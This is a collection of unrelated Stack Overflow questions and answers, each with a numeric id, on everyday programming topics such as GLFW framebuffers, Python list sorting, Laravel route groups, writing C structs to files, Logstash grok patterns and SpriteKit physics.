32280137	0	 <p>The parameters to <code>glfwOpenWindow</code> are specifying the desired values. However, it's entirely possible that your driver doesn't support the exact format you're asking for (24 bit color, 24 bit depth, no alpha, no stencil). GLFW will attempt to find the best match while meeting your minimums.</p> <p>In this case it's probably giving you the most standard format of RGBA color (32 bit) and a 24/8 bit depth/stencil buffer, or it could be creating a 32 bit depth buffer. You'd actually need to call <code>glfwGetWindowParam</code> to query the depth and stencil bits for the default framebuffer, and then build your renderbuffers to match that. </p>
16231007	0	 <p>Use <a href="http://msdn.microsoft.com/en-us/library/system.string.trimend.aspx">string.TrimEnd</a> on your TextBox Text. </p> <pre><code>Participant.Text = participants.TrimEnd(','); </code></pre>
15177129	0	 <p>you can use the passed View object in <strong>onCreateContextMenu</strong> to determine the owner of the menu and populate a menu accordingly.</p> <p>Your code should look something like this :</p> <pre><code>public void onCreateContextMenu(ContextMenu menu, View v,ContextMenuInfo menuInfo) { super.onCreateContextMenu(menu, v, menuInfo); switch (v.getId()) { case R.id.imageIconId: menu.setHeaderTitle(getString(R.string.option1)); menu.add(0, v.getId(), 0, getString(R.string.option2)); menu.add(0, v.getId(), 0, getString(R.string.options3)); break; case R.id.textViewid: // do whatever you want with the menu object. break; } } </code></pre>
40579363	0	 <p>You can use <code>list = sorted(list, key=...)</code> or <code>list.sort(key=...)</code>. </p> <p>First method lets you use slicing to get/set only part of list - without changing first row.</p> <pre><code>import datetime table_of_list = [['name', 'email', 'address', 'details', 'date_last_contacted'], [u'Jane Doe', u'jdoe@abc.com', u'sillybilly', u'dodo', datetime.date(2016,11,1) ], [u'John Doe', u'jedoe@abc.com', u'123 house',u'random', datetime.date(2016,10,1) ] ] table_of_list[1:] = sorted(table_of_list[1:], key=lambda x: x[4]) print(table_of_list) </code></pre>
7209234	0	 <p>Any object within a serialised object also has to be serialised, if you see what I mean?</p>
16326855	0	Rails / Kaminari - How to order a paginated array? <p>I'm having a problem <strong>ordering</strong> an array that I've successfully paginated with Kaminari.</p> <p>In my controller I have:</p> <pre><code>@things = @friend_things + @user_things @results = Kaminari.paginate_array(@things).page(params[:page]).per(20) </code></pre> <p>I want to have the final <code>@results</code> array ordered by <code>:created_at</code>, but have had no luck getting ordering to work with the generic array wrapper that Kaminari provides. Is there a way to set the order in the Kaminari wrapper? Otherwise what would be the best way? Thanks.</p>
34738226	0	asp.net 5 deploy to iis got a TaskAwait.ThrowForNonSuccess exception <p>When I run my application on vs,everything is ok ,but when i deploy my application to iis(when the application try to access data from database by entityframework7 ,it throw an TaskAwait.ThrowForNonSuccess exception.Is anyone can help me?</p>
27891575	0	Generating all lexicographical permutations without comparisons of elements <p>I came into the problem when I have a given sequence s=(a,b,c,d,e...) - sorted in non-decreasing order. My job is to develop an algorithm that is going to generate all possible permutations in lexicographical order - ending on the reversed s (highest in order).</p> <p>The trick is: I cannot compare any 2 element to each other. All operations must be done "automatically", regardless of elements values.</p>
9277937	0	 <p>I think there is an error in your first document.ready</p> <pre><code>here : $(function() { </code></pre> <p>So the second document.ready </p> <pre><code>this one : $(document).ready(function() { </code></pre>
16173593	0	Where should Exceptions be put that are used by multiple projects? <p>I need to refactor a project with two data models into two separate projects. Both projects use the same Exceptions. Should I create a 3rd project only for these exceptions? Cloning sounds like a no-go.</p>
11991881	0	 <p>Running the following command as documented in the <a href="http://code.google.com/p/dbdeploy/wiki/UsingTheMavenPlugin" rel="nofollow">Using Maven Plugin</a> page...</p> <pre><code>mvn help:describe -Dplugin=com.dbdeploy:maven-dbdeploy-plugin -Ddetail </code></pre> <p>we see the following goal, which helps generate the changelog</p> <pre><code>dbdeploy:change-script Description: Maven goal for creating a new timestamped dbdeploy change script. Implementation: com.dbdeploy.mojo.CreateChangeScriptMojo Language: java Available parameters: name (Default: new_change_script) Expression: ${dbdeploy.script.name} Name suffix for the file that will be created (e.g. add_email_to_user_table). scriptdirectory (Default: ${project.src.directory}/main/sql) Expression: ${dbdeploy.scriptdirectory} Directory where change scripts reside. </code></pre> <p>So I guess we would run this prior to the other goals like <code>db-scripts</code> and <code>update</code>.</p>
4736248	0	 <p>Sluama - Your suggestion fixed it! Such an obvious answer. The " was terminating the Where clause string. I could have sworn I tried that, but I guess not. Becuase, I just happened to come back to this question and saw your answer and it works!</p> <pre><code>&lt;asp:EntityDataSource ID="EDSParts" runat="server" ConnectionString="name=TTEntities" DefaultContainerName="TTEntities" EnableFlattening="False" EntitySetName="Parts" OrderBy="it.ID DESC" Where ="(CASE WHEN (@PartNumber IS NOT NULL) THEN it.[Number] LIKE REPLACE(@PartNumber, '*', '%') ELSE it.[ID] IS NOT NULL END)"&gt; &lt;WhereParameters&gt; &lt;asp:ControlParameter Name="PartNumber" Type="String" ControlID="txtPartNumberQuery" PropertyName="Text" /&gt; &lt;/WhereParameters&gt; &lt;/asp:EntityDataSource&gt; </code></pre>
35034841	0	How to measure time with Matlab while led diodes is on using Arduino? <p>I need measure time while led diodes is on for each one with Matlab guide. In Arduino code its sending data to Matlab if diodes are on:</p> <p>if(digitalRead(ledC1)==HIGH) { Serial.println("a"); } </p> <p>if(digitalRead(ledC2)==HIGH) { Serial.println("b"); } </p> <p>With my Matlab code, it works only if one diode is on, but it is not working if two diodes are on in the same time and not measure for each one. How measure for both diodes?</p> <p>Matlab code:</p> <p>function pushbutton1_Callback(hObject, eventdata, handles)</p> <p>s=serial('COM7','BaudRate',9600);</p> <p>fopen(s);</p> <p>try</p> <pre><code> while true pause(1); </code></pre> <p>A = fscanf(s,'%s');</p> <p>B = fscanf(s,'%s');</p> <p>if strcmp(A,'a')==0 % frist led dioda</p> <pre><code> tic; </code></pre> <p>end</p> <pre><code> seconds1=toc; </code></pre> <p>elapsedTime1 = fix(mod(seconds1, [0, 3600, 60]) ./ [3600, 60, 1]);</p> <p>set(handles.text8,'String',elapsedTime1);</p> <p>if strcmp(B,'b')==0 % second led dioda</p> <pre><code> tic; </code></pre> <p>end</p> <pre><code> seconds2=toc; </code></pre> <p>elapsedTime2 = fix(mod(seconds2, [0, 3600, 60]) ./ [3600, 60, 1]);</p> <p>set(handles.text9,'String',elapsedTime2);</p> <p>end</p> <p>end</p> <p>catch err</p> <p>fclose(s);</p> <pre><code>clear all return; </code></pre> <p>end</p>
8200901	0	Design for long running ASP.net MVC web request <p>I'm aware of the model that involves a scheduled task runninng in the back ground which runs jobs registered with a web request but how about this for an idea that keeps everything within ASP.net...</p> <ol> <li><p>User uploads a CSV file with, perhaps, several thousand rows. The rows are persisted to the database. I think this would take maybe a minute or so which would be an acceptable wait.</p></li> <li><p>Request returns to the browser and then an automatic Ajax request would go back to the server and request, say, ten rows at a time and process them. (Each row requires a number of web service requests.)</p></li> <li><p>Ajax call returns, display is updated and then another automatic Ajax request goes back for more rows. This repeats until all rows are completed.</p></li> <li><p>If user leaves the web page, then they could return and restart the job.</p></li> </ol> <p>Any thoughts?</p> <p>Cheers, Ian.</p>
21972293	0	Data Type for Currency in Entity Framework <p>What data type should I use to hold currency values in Entity Framework 6 and what data type should I map it in SQL Server 2012?</p> <p>Thank You, Miguel</p>
27520469	0	iOS UITextField value without tapping on RETURN button <p>Is it possible to take UITextField value without tapping <em>RETURN</em> button?. If I type something in <strong><em>LOGIN UITextField</em></strong> and then tap on <strong><em>PASSWORD UITextField</em></strong>, it looks like LOGIN value is empty, however if I type something in LOGIN, and then tap RETURN everything's fine.</p> <p>Without tapping on RETURN <a href="http://gyazo.com/2ca0f263275fd65ae674233f34d90280" rel="nofollow">http://gyazo.com/2ca0f263275fd65ae674233f34d90280</a></p> <p>With tapping on RETURN <a href="http://gyazo.com/9ccc39ba7080b6b6344454ec757d3c0f" rel="nofollow">http://gyazo.com/9ccc39ba7080b6b6344454ec757d3c0f</a></p> <p>Here's my code:</p> <p><strong>TextInputTableViewCell.m</strong></p> <pre><code>@implementation TextInputTableViewCell -(void)configureWithDictionary:(NSMutableDictionary *)dictionary { self.cellInfoDictionary = dictionary; NSString *title = [dictionary objectForKey:@"title"]; NSString *imageName = [dictionary objectForKey:@"imageName"]; UIColor *color = [dictionary objectForKey:@"bgColor"]; BOOL secureTextEntry = [dictionary objectForKey:@"secure"]; self.myTextField.placeholder = title; self.myImageView.image = [UIImage imageNamed:imageName]; self.contentView.backgroundColor = color; self.myTextField.secureTextEntry = secureTextEntry; self.myTextField.delegate = self; } -(BOOL)textFieldShouldReturn:(UITextField *)textField { [textField resignFirstResponder]; if (textField.text) { [self.cellInfoDictionary setObject:textField.text forKey:@"value"]; } return NO; } @end </code></pre> <p><strong>LoginViewController.m</strong></p> <pre><code>@interface LoginViewController () &lt;UITableViewDataSource, UITableViewDelegate, NewRestHandlerDelegate&gt; @property (strong, nonatomic) IBOutlet UITableView *tableView; @property (strong, nonatomic) NSArray *datasource; @end static NSString *textInputCellIdentifier = @"textInputCellIdentifier"; static NSString *buttonCellIdentifier = @"buttonCellIdentifier"; @implementation LoginViewController { NSString *email; NSString *password; NewRestHandler *restHandler; } - (void)viewDidLoad { [super viewDidLoad]; NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults]; if ([defaults boolForKey:@"logged"]) [self performSegueWithIdentifier:@"Logged" sender:self]; [self.tableView registerNib:[UINib nibWithNibName:NSStringFromClass([TextInputTableViewCell class]) bundle:nil] forCellReuseIdentifier:textInputCellIdentifier]; [self.tableView registerNib:[UINib nibWithNibName:NSStringFromClass([ButtonTableViewCell class]) bundle:nil] forCellReuseIdentifier:buttonCellIdentifier]; restHandler = [[NewRestHandler alloc] init]; restHandler.delegate = self; } - (void)didReceiveMemoryWarning { [super didReceiveMemoryWarning]; } - (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath { NSDictionary *dictionary = [self.datasource objectAtIndex:indexPath.row]; NSString *cellIdentifier = [dictionary objectForKey:@"cellIdentifier"]; UITableViewCell *cell = [self.tableView dequeueReusableCellWithIdentifier:cellIdentifier]; if ([cell respondsToSelector:@selector(configureWithDictionary:)]) { [cell performSelector:@selector(configureWithDictionary:) withObject:dictionary]; } return cell; } - (NSInteger)tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section { return self.datasource.count; } ... - (NSArray *)datasource { if (!_datasource) { NSMutableArray* datasource = [NSMutableArray arrayWithCapacity:5]; NSMutableDictionary* loginDictionary = @{@"cellIdentifier": textInputCellIdentifier, @"title": @"Login", @"imageName": @"edycja02.png", @"bgColor": [UIColor whiteColor], }.mutableCopy; NSMutableDictionary* passwordDictionary = @{@"cellIdentifier": textInputCellIdentifier, @"title": @"Password", @"imageName": @"edycja03.png", @"bgColor": [UIColor whiteColor], @"secure": @YES, }.mutableCopy; NSMutableDictionary* loginButtonDictionary = @{@"cellIdentifier": buttonCellIdentifier, @"title": @"Login", @"imageName": @"logowanie01.png", @"bgColor": [UIColor colorWithRed:88/255.0 green:88/255.0 blue:90/255.0 alpha:1], @"textColor": [UIColor whiteColor], }.mutableCopy; NSMutableDictionary* facebookLoginButtonDictionary = @{@"cellIdentifier": buttonCellIdentifier, @"title": @"Login with Facebook", @"imageName": @"logowanie02.png", @"bgColor": [UIColor colorWithRed:145/255.0 green:157/255.0 blue:190/255.0 alpha:1], @"textColor": [UIColor whiteColor], }.mutableCopy; NSMutableDictionary* signUpButtonDictionary = @{@"cellIdentifier": buttonCellIdentifier, @"title": @"Sign up", @"imageName": @"logowanie03.png", @"bgColor": [UIColor colorWithRed:209/255.0 green:210/255.0 blue:212/255.0 alpha:1], @"textColor": [UIColor whiteColor], }.mutableCopy; [datasource addObject:loginDictionary]; [datasource addObject:passwordDictionary]; [datasource addObject:loginButtonDictionary]; [datasource addObject:facebookLoginButtonDictionary]; [datasource addObject:signUpButtonDictionary]; _datasource = datasource; } return _datasource; } - (void)tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath { if (indexPath.row == 2) { email = [self.datasource[0] valueForKey:@"value"]; password = [self.datasource[1] valueForKey:@"value"]; NSLog(@"Email: %@", email); NSLog(@"Password: %@", password); ... </code></pre>
37573829	0	 <p>Easiest solution is</p> <pre><code>/%{DATA:col1}/%{DATA:col2}/%{DATA:index}/%{DATA:server}\.%{GREEDYDATA:end} </code></pre> <p>you can remove the names <code>col1</code>, <code>col2</code>, and <code>end</code> to drop those captures.</p> <p>This pattern relies on there always being the same number of parts in your URI. If there are a variable number you could use something like this.</p> <pre><code>(?:/%{USER})*/%{DATA:index}/%{DATA:server}\.%{GREEDYDATA:end} </code></pre> <p>I made and tested these using <a href="http://grokconstructor.appspot.com/do/match" rel="nofollow">the grok constructor</a></p> <hr> <p>Using this pattern:</p> <pre><code>filter { grok { match =&gt; { "message" =&gt; &lt;message-pattern&gt; } } grok { match =&gt; { "log_path" =&gt; "(?:/%{USER})*/%{DATA:index}/%{DATA:server}\.%{GREEDYDATA}" } } } </code></pre> <p>Where <code>"log_path"</code> is the name of the field containing the log path after you do your normal message parsing.</p>
1715943	0	workaround: site is www.site.com code incl. document.domain='site.com' <p>A customer site that I cannot change has the line 'document.domain = "site.com"; while the site is at www.site.com.</p> <p>The effect is that FB connect window login gets stuck after submitting username+password.</p> <p>Firebug shows its in infinite loop inside dispatchmessage function, which gives perpetual exception:</p> <pre><code>Error: Permission denied for &lt;http://www.site.com&gt; to get propertyl Window.FB from &lt;http://site.com&gt; </code></pre> <p>Any idea how to work around this? I prefer not to ask the customer to remove the document.domain='site.com'</p>
25708029	0	Laravel 4: How to protect group routes admins and users? <p>Good day! Please tell me how to split the routes users and administrators? To authorize the user got to your home page and could move only to the right routes and the admin came on your web page and could see only their routes. My file routes.php</p> <pre><code>Route::get('/', array( 'as' =&gt; 'home', 'uses' =&gt; 'HomeController@home' )); Route::group(array('before' =&gt; 'auth'), function(){ Route::group(array('before' =&gt; 'csrf'), function(){ Route::post('/account/change-password', array( 'as' =&gt; 'account-change-password-post', 'uses' =&gt; 'AccountController@postChangePassword' )); }); Route::get('/account/change-password', array( 'as' =&gt; 'account-change-password', 'uses' =&gt; 'AccountController@getChangePassword' )); Route::get('/user/{username}', array( 'as' =&gt; 'profile-user', 'uses' =&gt; 'ProfileController@user' )); Route::get('/account/sign-out', array( 'as' =&gt; 'account-sign-out', 'uses' =&gt; 'AccountController@getSignOut' )); }); Route::group(array('before' =&gt; 'admin'), function(){ Route::get('/dashboard', array( 'as' =&gt; 'dashboard', 'uses' =&gt; 'TiketsController@dashboard' )); Route::get('/tiket-new', array( 'as' =&gt; 'tiket-new', 'uses' =&gt; 'TiketsController@tiketNew' )); Route::get('/tiket-work', array( 'as' =&gt; 'tiket-work', 'uses' =&gt; 'TiketsController@tiketWork' )); Route::get('/tiket-complete', array( 'as' =&gt; 'tiket-complete', 'uses' =&gt; 'TiketsController@tiketComplete' )); Route::get('/tiket-arhive', array( 'as' =&gt; 'tiket-arhive', 'uses' =&gt; 'TiketsController@tiketArhive' )); }); Route::group(array('before' =&gt; 'user'), function(){ Route::get('/user-dashboard', array( 'as' =&gt; 'user-dashboard', 'uses' =&gt; 'TiketsController@userDashboard' )); }); </code></pre> <p>My AccountController.php</p> <pre><code>public function postSignIn(){ $validator = Validator::make(Input::all(), array( 'email' =&gt; 'required|email', 'password' =&gt; 'required' )); if($validator-&gt;fails()){ return Redirect::route('account-sign-in') -&gt;withErrors($validator) -&gt;withInput(); } else { $remember = (Input::has('remember')) ? true : false; $auth = Auth::attempt(array( 'email' =&gt; Input::get('email'), 'password' =&gt; Input::get('password'), 'active' =&gt; 1 ), $remember); if($auth){ if (Auth::user()-&gt;role==5) { return Redirect::intended('/dashboard'); } if (Auth::user()-&gt;role==1) { return Redirect::intended('/user-dashboard'); } } else { return Redirect::route('account-sign-in') -&gt;with('global', 'Error'); } } </code></pre> <p>Unfortunately, when such routes admins and users can see the pages of each other. Please tell me as much detail as possible, how to distinguish between different groups of users?</p>
15523470	0	 <p>This depends on how your <code>struct</code> is defined, whether or not you want your output to be human-readable, and whether or not the output file is meant to be read on a different architecture. </p> <p>The <code>fwrite</code> solution that others have given will write the <em>binary representation</em> of the struct to the output file. For example, given the code below:</p> <pre><code>#include &lt;stdio.h&gt; int main(void) { struct foo { int x; char name1[10]; char name2[10]; } items[] = {{1,"one","ONE"}, {2,"two","TWO"}}; FILE *output = fopen("binio.dat", "w"); fwrite( items, sizeof items, 1, output ); fclose( output ); return 0; } </code></pre> <p>if I display the contents of <code>binio.dat</code> to the console, I get the following:</p> <pre> john@marvin:~/Development/Prototypes/C/binio$ cat binio.dat oneONEtwoTWOjohn@marvin:~/Development/Prototypes/C/binio$ john@marvin:~/Development/Prototypes/C/binio$ od -c binio.dat 0000000 001 \0 \0 \0 o n e \0 \0 \0 \0 \0 \0 \0 O N 0000020 E \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 0000040 \0 \0 \0 \0 002 \0 \0 \0 t w o \0 \0 \0 \0 \0 0000060 \0 \0 T W O \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 0000100 \0 \0 \0 \0 \0 \0 \0 \0 0000110 </pre> <p>The integer values show up as garbage (not reproduced above) because they've been stored as the byte sequences 01, 00, 00, 00 and 02, 00, 00, 00 (x86 is little-endian), which are not printable characters. Also note that all 10 characters of <code>name1</code> and all 20 characters of <code>name2</code> are written to the file, which may or may not be what you want.</p> <p>The situation gets even more complicated if your struct contains pointers, because what gets stored to the file is the pointer value, not the thing being pointed to:</p> <pre><code>#include &lt;stdio.h&gt; int main(void) { struct foo { int x; char *name1; char *name2; } items[] = {{1,"one","ONE"}, {2,"two","TWO"}}; FILE *output = fopen("binio.dat", "w"); fwrite( items, sizeof items, 1, output ); fclose( output ); return 0; } </code></pre> <p>This time I get</p> <pre> john@marvin:~/Development/Prototypes/C/binio$ cat binio.dat ��������john@marvin:~/Development/Prototypes/C/binio$ john@marvin:~/Development/Prototypes/C/binio$ od -c binio.dat 0000000 001 \0 \0 \0 260 205 004 \b 264 205 004 \b 002 \0 \0 \0 0000020 270 205 004 \b 274 205 004 \b 0000030 </pre> <p>Note that none of the strings appear in the file at all; if you read this file in with a different program, all it will see are (most likely) invalid addresses. </p> <p>If you want your output to be human-readable <em>and</em> you want to be able to read those values in on a different architecture, you almost have to go with formatted output, meaning you have to write each member separately:</p> <pre><code>#include &lt;stdio.h&gt; int main(void) { struct foo { int x; char *name1; char *name2; } items[] = {{1,"one","ONE"}, {2,"two","TWO"}}; FILE *output = fopen("binio.dat", "w"); int i; for (i = 0; i &lt; sizeof items / sizeof items[0]; i++) { fprintf(output, "%d %s %s\n", items[i].x, items[i].name1, items[i].name2); } fclose( output ); return 0; } </code></pre> <pre> john@marvin:~/Development/Prototypes/C/binio$ cat binio.dat 1 one ONE 2 two TWO </pre> <p>You can certainly wrap that operation in a function of your own, something like</p> <pre><code>int printFoo( FILE *output, const struct foo item ) { return fprintf( output, "%d %s %s\n", item.x, item.name1, item.name2); } </code></pre> <p>but in the end, that's about as simple as it gets.</p> <p>The <code>fwrite</code> solution works great if you're not concerned about readability and portability, but you still have to be careful if you have any pointer members within the struct. </p>
33714636	0	 <p>Editing the raven context is currently quite hard as the error reporters are not registered anywhere, so you cannot say "hey give me the error reporters" and look for the Sentry one in that list.</p> <p>Currently the only way is to register an <code>after_config</code> hook, gather the Raven Client during the configuration process and store it somewhere accessible. </p> <p>Changing backlash middlewares to store the reporters somewhere accessible should be fairly easy (e.g. the environ) but currently it's not available.</p> <p>By the way here is a short example of the <code>after_config</code> solution that should make the client available as <code>tg.app_globals.sentry_clients</code>, copy it in your <code>app_cfg.py</code> and it should do what you expect (didn't have time to try it, sorry if you find errors), then you can get the context from the client whenever is needed:</p> <pre><code>def gather_sentry_client(app): from backlash import TraceErrorsMiddleware, TraceSlowRequestsMiddleware try: trace_errors_app = app.app.application except: return app if not isinstance(trace_errors_app, TraceErrorsMiddleware): return app trace_errors_client = None for reporter in trace_errors_app.reporters: if hasattr(reporter, 'client'): trace_errors_client = reporter.client slow_reqs_app = trace_errors_app.app slow_reqs_client = None if isinstance(slow_reqs_app, TraceSlowRequestsMiddleware): for reporter in slow_reqs_app.reporters: if hasattr(reporter, 'client'): slow_reqs_client = reporter.client from tg import config app_globals = config['tg.app_globals'] app_globals.sentry_clients = { 'errors': trace_errors_client, 'slowreqs': slow_reqs_client } return app from tg import hooks hooks.register('after_config', gather_sentry_client) </code></pre>
20193399	0	 <p>Silly me! As i was told by user seutje in the #jquery irc.freenode channel, I should attach the jquery-ui methods <code>onRender</code> instead of initialization</p> <pre><code> initialize: function(){ this.setCssStyle(); }, onRender: function(){ this.$el.draggable({ containment: 'parent' }); this.$el.resizable(); } </code></pre> <p>Everything works now, but I would like feedback whether this is optimal. Considering that I'm attaching methods <code>onRender</code>, during resize the <code>ItemView</code> gets re-rendered, therefore while <code>onRender</code> gets called whenever I resize the item and as a result re-attaches .draggable and .resizable?</p>
39402942	0	To print prime numbers between m and n when m and n are quite large in the range 10^10 using sieve of eratosthenes <p>My code is:</p> <pre><code>#include &lt;bits/stdc++.h&gt; #define s 100001 using namespace std; int main() { long long arr[s],i,j,t,m,n; for(i=0;i&lt;s;i++) arr[i] = 1; arr[0] = 0; arr[1] = 0; for(i=2;i&lt;sqrt(s);i++) { if(arr[i] == 1) { for(j=2;i*j&lt;s;j++) arr[i*j] = 0; } } cin &gt;&gt; t; while(t--) { cin &gt;&gt; m &gt;&gt; n; if(n&lt;s) { for(i=m;i&lt;=n;i++) { if(arr[i] == 1) cout &lt;&lt; i &lt;&lt; endl; } } } return 0; } </code></pre> <p>This code is showing run time error for larger input of m and n as the array size is just 10^5 long. When I was making the array of 10^10 there was a compilation error and it is showing this much bigger array is not possible.</p>
15099949	0	 <p>Something to get you stared, adapt to your own needs:</p> <p>Lets create some files:</p> <pre><code>$ touch a-b-2013-02-12-16-38-54-{a..f}.png $ ls a-b-2013-02-12-16-38-54-a.png a-b-2013-02-12-16-38-54-c.png a-b-2013-02-12-16-38-54-e.png f.py a-b-2013-02-12-16-38-54-b.png a-b-2013-02-12-16-38-54-d.png a-b-2013-02-12-16-38-54-f.png </code></pre> <p>Some python</p> <pre><code>#!/usr/bin/env python import glob, os files = glob.glob('*.png') for f in files: # get the character before the dot d = f.split('-')[-1][0] #create directory try: os.mkdir(d) except OSError as e: print 'unable to creade dir', d, e #move file try: os.rename(f, os.path.join(d, f)) except OSError as e: print 'unable to move file', f, e </code></pre> <p>Lets run it</p> <pre><code>$ ./f.py $ ls -R .: a b c d e f f.py ./a: a-b-2013-02-12-16-38-54-a.png ./b: a-b-2013-02-12-16-38-54-b.png ./c: a-b-2013-02-12-16-38-54-c.png ./d: a-b-2013-02-12-16-38-54-d.png ./e: a-b-2013-02-12-16-38-54-e.png ./f: a-b-2013-02-12-16-38-54-f.png </code></pre>
4282486	0	How to track more than one remote with a given branch using Git? <p>The situation is this:</p> <p>I have more than one remote repository - for reference, lets say that one is the "alpha" repository, and we have recently set up a new "beta" repository, which some users have migrated to.</p> <p>Both repositories have a "master" branch.</p> <p>How do I set up my local master such that it will attempt to automatically push and pull to and from <em>both</em> the alpha <em>and</em> beta repositories, without manually specifying the remote I want to use each time?</p> <p>I should elaborate that I don't want to set up two local branches 'master-alpha' and 'master-beta', I want the <em>same</em> local branch to track both remotes.</p>
33082074	0	 <p>Your code is neat but the time complexity is O(n^2), which can be reduced to O(n).</p> <pre><code>data = {(1,2,1,5),(1,2,7,2),(1,5,4,7),(4,7,7,5)} result = dict() for item in data: key = (item[0],item[1]) value = result.setdefault(key,[]) value.append((item[2],item[3])) result[key] = value print result </code></pre> <p>In my opinion, using a for loop can make codes more comprehensive</p>
31539680	0	 <p>instead of </p> <pre><code>if (currentSlide == 5) </code></pre> <p>you can add an incremented class on each of your slides, and check what is inside in this if. the html will looks like this: </p> <pre><code> &lt;div class="slide1"&gt;&lt;img src="http://placehold.it/900x500"&gt;&lt;/div&gt; &lt;div class="slide2"&gt;&lt;img src="http://placehold.it/900x500"&gt;&lt;/div&gt; &lt;div class="slide3"&gt;&lt;img src="http://placehold.it/900x500"&gt;&lt;/div&gt; &lt;div class="slide4"&gt;&lt;img src="http://placehold.it/900x500"&gt;&lt;/div&gt; &lt;div class="slide5"&gt;&lt;img src="http://placehold.it/900x500"&gt;&lt;/div&gt; &lt;div class="slide6" id="slide-video"&gt; &lt;video width="900px" height="500px" class="theVideo"&gt; &lt;source src="http://vjs.zencdn.net/v/oceans.mp4" /&gt; &lt;/video&gt; </code></pre> <p>for example you ll do :</p> <pre><code> $('.sliderMain').on('afterChange', function(event, slick, currentSlide){ if ($('.slide'+currentSlide+ ' video').length != 0){ $('.sliderMain').slick('slickPause'); theVideo.play(); } }); </code></pre> <p>You ll probably then know if you have a node video in your current slide.</p> <p>hope this will help</p>
37300137	0	Spring: Testing view-controllers created with ViewControllerRegistry.addViewController() <p>This is my first time carrying out junit testing so forgive me if this is a stupid question. The class from my Spring web application which I wish to test is below. The class extends WebMcvConfigurerAdapter to add view controllers.</p> <p>I just want to test if each of the view controllers maps to the correct view. In every tutorial I've looked at, the test is carried out for a controller which has it's own separate class. it wouldn't make sense for the controllers below to have their own class as there is no logic involved in them. Can anyone direct me for the way i should approach this or give sample code? Do controllers like these which only link to a view even require testing?</p> <pre><code>@Configuration public class MvcConfig extends WebMvcConfigurerAdapter { @Override public void addViewControllers(ViewControllerRegistry registry) { registry.addViewController("/").setViewName("greeting"); registry.addViewController("/portal").setViewName("portal"); registry.addViewController("/login").setViewName("login"); } </code></pre> <p>}</p>
34462089	1	Instagram API docs invalid JSON error <p>I keep getting this error when I tried the examples in the <a href="https://github.com/Instagram/python-instagram#using-an-access-token" rel="nofollow">python-instagram</a> documentation:</p> <pre><code>from instagram.client import InstagramAPI access_token = "YOUR_ACCESS_TOKEN" client_secret = "YOUR_CLIENT_SECRET" api = InstagramAPI(access_token=access_token, client_secret=client_secret) recent_media, next_ = api.user_recent_media(user_id="userid", count=10) for media in recent_media: print media.caption.text </code></pre> <p>Error:</p> <pre><code>Traceback (most recent call last): File "&lt;input&gt;", line 1, in &lt;module&gt; File "/Users/bli1/Development/Django/CL/cherngloong/cherngloong/lib/python2.7/site-packages/instagram/bind.py", line 197, in _call return method.execute() File "/Users/bli1/Development/Django/CL/cherngloong/cherngloong/lib/python2.7/site-packages/instagram/bind.py", line 189, in execute content, next = self._do_api_request(url, method, body, headers) File "/Users/bli1/Development/Django/CL/cherngloong/cherngloong/lib/python2.7/site-packages/instagram/bind.py", line 131, in _do_api_request raise InstagramClientError('Unable to parse response, not valid JSON.', status_code=response['status']) InstagramClientError: (404) Unable to parse response, not valid JSON. </code></pre> <p>I'm not sure what is causing this error. I got my <code>access_token</code> and filled in all the parameters</p> <p>I get the same error when I try other parts of the documentation:</p> <pre><code>api = InstagramAPI(client_id='YOUR_CLIENT_ID', client_secret='YOUR_CLIENT_SECRET') popular_media = api.media_popular(count=20) for media in popular_media: print media.images['standard_resolution'].url </code></pre>
38510303	0	Applying velocity to a SKSpriteNode subclass & trouble with Expected Declaration Error <p>I'm currently working on my first iPhone game and I have a SKSpriteNode subclass <code>Alien</code> (which is also an abstract class) that will later be inherited by a class <code>normAlien</code>. Even with Apple's docs, I've been having a lot of trouble figuring out class initialization and inheritance in Swift. Here is the code for both classes:</p> <pre><code>//Generic alien type: a blue-print of sorts class Alien:SKSpriteNode{ static func normalizeVector(vector:CGVector) -&gt; CGVector{ let len = sqrt(vector.dx * vector.dx + vector.dy * vector.dy) return CGVector(dx:vector.dx / len, dy:vector.dy / len) } func motion(velocity:CGVector, multiplier:CGFloat){ //Alien.physicsBody?.velocity.dx = velocity.dx * multiplier //Why no work? self.physicsBody?.velocity.dx = velocity.dx * multiplier self.physicsBody?.velocity.dy = velocity.dy * multiplier } let velocityVector:CGVector let startPos:CGPoint init(texture:SKTexture, startPosition startPos:CGPoint,moveSpeed: CGFloat,velocityVector:CGVector){ self.velocityVector = Alien.normalizeVector(velocityVector) self.startPos = startPos //Makes sure the SKSpriteNode is initialized before modifying its properties super.init(texture: texture, color: UIColor.clearColor(), size: texture.size()) //PhysicsBody is a property of super so super.init must be called first (init SKSpriteNode) self.physicsBody? = SKPhysicsBody(circleOfRadius: self.size.width/2) self.physicsBody?.dynamic = true self.physicsBody?.categoryBitMask = PhysicsCategory.Alien //physicsBody?. is optional chaining? self.physicsBody?.collisionBitMask = 0 //Do I need this? or jsut use in laser class self.physicsBody?.contactTestBitMask = PhysicsCategory.Laser self.physicsBody?.usesPreciseCollisionDetection = true //Motion self.physicsBody?.velocity.dx = velocityVector.dx * moveSpeed self.physicsBody?.velocity.dy = velocityVector.dy * moveSpeed //self.velocityVector = normalizeVector(velocityVector) self.position = startPos } //Alien.motion(self.velocityVector, moveSpeed) required init?(coder aDecoder: NSCoder) { fatalError("init(coder:) has not been implemented") } } </code></pre> <p>As well as:</p> <pre><code>class normAlien:Alien{ static let alienImage = SKTexture(imageNamed:"Sprites/alien.png") //alienImage.setScale(0.2) init(startPos:CGPoint,speed: CGFloat){ super.init(texture:normAlien.alienImage, startPosition: startPos, moveSpeed:speed,velocityVector:CGVector(dx: 1,dy: 0)) } required init?(coder aDecoder: NSCoder) { fatalError("init(coder:) has not been implemented") } } </code></pre> <p>I have a function: </p> <pre><code>func buildAlien(){ let aAlien = normAlien(startPos:CGPoint(x:0,y:size.height/2), speed:100) addChild(aAlien) } </code></pre> <p>that that instantiates <code>normAlien</code> within <code>didMoveToView</code> (This function is just called within a <code>SKAction.repeatActionForever</code>). For some reason each sprite created fails to move. I'm confused because they do move if I use a <code>SKAction.moveTo</code> so I must not understand something about applying velocity. </p> <p>On top of this, I'm confused as to why I receive the error: <code>Expected declaration</code>when I attempt to manipulate the <code>normAliens</code> texture with <code>alienImage.setScale(0.2)</code> 